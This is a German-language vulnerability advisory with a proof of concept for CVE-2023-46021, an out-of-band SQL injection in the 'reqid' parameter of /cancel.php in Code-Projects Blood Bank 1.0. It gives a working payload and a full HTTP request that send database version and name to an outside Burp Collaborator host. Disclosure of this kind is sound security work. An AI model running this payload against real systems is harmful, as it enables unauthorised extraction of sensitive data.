CVE-2023-46021-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Schwachstelle
- Exploit-Autor: ersinerenler
Hersteller-Homepage
Software-Link
Übersicht
- Code-Projects Blood Bank V1.0 ist einer kritischen Sicherheitsschwachstelle ausgesetzt, die eine Out-of-Band (OOB) SQL Injection über den 'reqid'-Parameter in der Datei /cancel.php beinhaltet. Diese Schwachstelle entsteht durch fehlende geeignete Schutzmechanismen, die es Angreifern ermöglicht, den Parameter zu missbrauchen und über Burp Collaborator OOB-SQL-Injection-Angriffe durchzuführen. Dies kann zu unbefugtem Zugriff und zur Extraktion sensibler Informationen aus den Datenbanken führen.
Schwachstellendetails
- CVE ID: CVE-2023-46021
- Betroffene Version: Blood Bank V1.0
- Verwundbare Datei: /cancel.php
- Parametername: reqid
- Angriffstyp: Lokal
Referenzen:
Beschreibung
- Der 'reqid'-Parameter in der Datei /cancel.php von Code-Projects Blood Bank V1.0 ist anfällig für Out-of-Band SQL Injection. Diese Schwachstelle resultiert aus unzureichenden Schutzmechanismen, die es Angreifern ermöglichen, den Parameter mit Burp Collaborator auszunutzen, um OOB-SQL-Injection-Angriffe zu initiieren. Durch diese Technik kann ein Angreifer potenziell sensible Informationen aus den Datenbanken extrahieren.
Proof of Concept (PoC) :
- Abfangen der Anfrage an cancel.php über Burp Suite
- Injizieren des Payloads in die anfälligen Parameter
- Payload:
4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
- Beispielanfrage für den
reqid-Parameter
---
GET /bloodbank/file/cancel.php?reqid=4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.7mus27hip62tznk3gy4n7z3fo6uxin6c.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/sentrequest.php?msg=You%20have%20requested%20for%20blood%20group%20A+.%20Our%20team%20will%20contact%20you%20soon.
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---
- Datenbank- und Versionsinformationen wurden über Burp Suite Collaborator abgefangen
